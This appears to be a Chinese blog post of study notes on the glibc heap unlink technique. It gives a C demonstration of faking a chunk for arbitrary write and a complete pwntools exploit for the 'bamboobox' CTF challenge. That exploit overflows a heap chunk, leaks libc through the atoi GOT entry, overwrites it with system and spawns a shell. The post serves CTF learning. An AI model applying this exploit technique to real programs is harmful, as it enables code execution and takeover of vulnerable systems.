<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PWN 堆利用 unlink 學習筆記

    VSole2022-07-13 16:45:33

    chunk合并

    chunk結構體大致如下:

    struct chunk{    size_t prev_size;    size_t size;//低3位不算在size里面    union    {        struct        {            chunk* fd;            chunk* bk;        };        char userdata[0];    }}
    

    size的低三位表示為:

    這里會用到 PREV_INUSE(P): 表示前一個chunk是否為allocated。

    P位為1時代表物理相鄰的前一個chunk為free狀態,此時prev_size代表前一個chunk的大小。

    非fastbin的chunk在free時會與物理相鄰的空閑chunk合并。

    unlink漏洞

    非fastbin中的chunk使用的是雙向鏈表,使用chunk的fd、bk鏈接

    設需要unlink的指針為P,在unlink時,進行如下操作:

    高版本的libc會檢測BK和FD的指針是否指向P:

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    

    偽造一個fake_chunk,繞過unlink的檢測,即可任意地址寫。

    漏洞利用

    1.設有相鄰的兩塊chunk,p,f,使得f,free后不進入fastbin(chunk size>0x80)。

    2.在p中創建一個偽造chunk塊fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)。

    3.修改f的chunk頭,使prev_size=fake_chunk_size, PREV_INUSE = 0。

    4.free(f),這時glibc查看f的chunk頭,發現f的上一個chunk是free狀態,就把上一個chunk(p)拿來合并。

    此時正好滿足glibc檢測條件,unlink后,先執行p=&b;再執行p=&a; 最后結果就是p指向a的首地址,從而控制了從a到p的地址(假如a可寫)。

    實驗

    直接上代碼:

    #include <stdio.h> size_t* a = NULL;size_t* b = NULL;size_t* c = NULL;size_t* p = NULL;size_t* f = NULL; int main(){    p = malloc(0x80);    f = malloc(0x80);    malloc(0x10);     //set f->PREV_INUSE = 0    p[17] = 0x90;//*(f-1) = 0x90;    //set f->prev_size = 0x80(fakechunk size)    p[16] = 0x80;//*(f-2) = 0x80;     //fakechunk    p[0] = 0;    p[1] = 0x81;    p[2] = &a;    p[3] = &b;     //unlink    free(f);     if(&a == p)    {        printf("hack!!!!\n");        p[0] = 0x11111111;        p[1] = 0x22222222;        p[2] = 0x33333333;        p[3] = 0x44444444;         printf("a = %p\n", a);        printf("b = %p\n", b);        printf("c = %p\n", c);        printf("p = %p\n", p);    }    return 0;}//gcc -g test.c
    

    /*多申請一塊chunk,防止合并到top chunk里面*/

    假設我們只可以控制p、f的申請,釋放,寫入,unlink后p的地址可控,即可任意地址寫。

    總結公式

    feak_chunk->Fd = &p - 3*sizeof(size_t);

    feak_chunk->Bk = &p - 2*sizeof(size_t);

    f->PREV_INUSE = 0;

    f->prev_size = chunk_size(feak_chunk);

    free(f)

    p[3] = 需要覆蓋的地址()

    printf("%s",p) 泄露需要覆蓋的地址

    p[0] = system

    調用需要覆蓋的地址()拿shell

    一道題 hitconTraining_bamboobox

    程序功能就是堆的增刪改查。

    add:

    change()函數沒有檢測chunk的大小,可以溢出到下一個堆塊,覆蓋chunk頭。

    show()用來泄露glibc。

    套用公式的exp。

    from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug' sh = process("./bamboobox")#gdb.debug("./bamboobox")bambooboxElf = ELF("./bamboobox")libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6") def pause_debug():    try:        raise Exception    except:        f = sys.exc_info()[2].tb_frame.f_back      debug("pause_debug [%d]" %f.f_lineno)    pause()    return  def show():    sh.sendlineafter(b"Your choice:", b"1") def add(length, name):    sh.sendlineafter(b"Your choice:", b"2")    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the name of item:", name) def change(index, length, name):    sh.sendlineafter(b"Your choice:", b"3")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the new name of the item:", name) def remove(index):    sh.sendlineafter(b"Your choice:", b"4")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())  add(0x40, "aaa")add(0x80, "bbb")add(0x80, "ccc")  # .bss:00000000006020C0 ; Box itemlist[100]index1_p = 0x00000000006020C0 + 8 payload = flat([    p64(0),                             #feak_chunk->prev_size     p64(0x41),                          #feak_chunk->size     p64(index1_p - 3*8),                #feak_chunk->Fd = &p - 3*sizeof(size_t);    p64(index1_p - 2*8),                #feak_chunk->Bk = &p - 2*sizeof(size_t);    b'a' * 0x20,                        #feak_chunk->user_data    p64(0x40),                          #f->prev_size     p64(0x90)                           #f->size ])change(0, len(payload), payload)remove(1) payload = flat([    p64(0) * 3,    p64(bambooboxElf.got["atoi"])        #p[3] = 需要覆蓋的地址()]) change(0, len(payload), payload)show()                                    #printf("%s",p) 泄露需要覆蓋的地址sh.recvuntil("0 : ")libc = sh.recv(6).ljust(8,b"\x00")libc = u64(libc)success("libc:%x" %libc)libcBase = libc - libcElf.sym["atoi"]success("libcBase:%x" %libcBase) change(0, 8, p64(libcBase + libcElf.sym["system"]))      #需要覆蓋的地址(atoi_got)=system# pause_debug()sh.sendlineafter(b"Your choice:", b"/bin/sh")            #調用system拿shellsh.interactive()
    
    unlinksize_t
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    house of force 主要利用 top chunk 的漏洞 過修改topchunk_size來進行攻擊 利用 top chunk 分割的漏洞來申請任意 chunk, 然后再劫持 hook 或者更改 got表
    PWN 堆利用 unlink 學習筆記
    影響版本:Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修補。高危,可導致遠程權,評分9.8。 默認不加載,需用戶配置。
    本文就簡單介紹介紹如何編譯一個musl libc下的程序,并簡單調試調試musl libc 的一些性。安裝musl環境&&符號表這里直接用0xRGz師傅的做法。(這里的/path/to是需要修改的,也就是你git的muslheap的路徑。freed_mask記錄group中已經被free釋放的堆塊,當前沒有任何被釋放的堆塊,所以為0。free_able為1表示當前有一個堆塊能free。sizeclass為2 表示由0x2這個group進行管理這一類的大小的chunk。maplen為0說明這個group不是過mmap分配的。接下來我們調試調試meta dequeue第二種觸發方式——malloc的時候。
    「Rootkit」即「root kit」,直譯為中文便是「根權限工具包」的意思,在今天的語境下更多指的是一種被作為驅動程序、加載到操作系統內核中的惡意軟件。
    本文示例是來自corCTF 2021中 的兩個內核,由 BitsByWill 和 D3v17 所出。針對UAF漏洞,漏洞對象從kmalloc-64到kmalloc-4096,都能利用 msg_msg 結構實現任意寫。
    在當前CTF比賽中,“偽造IO_FILE”是pwn里一種常見的利用方式,并且有時難度還不小。
    本題來源于DefCon Quals 2021的mooosl,考察點是最新版本musl libc 1.2.2利用。
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类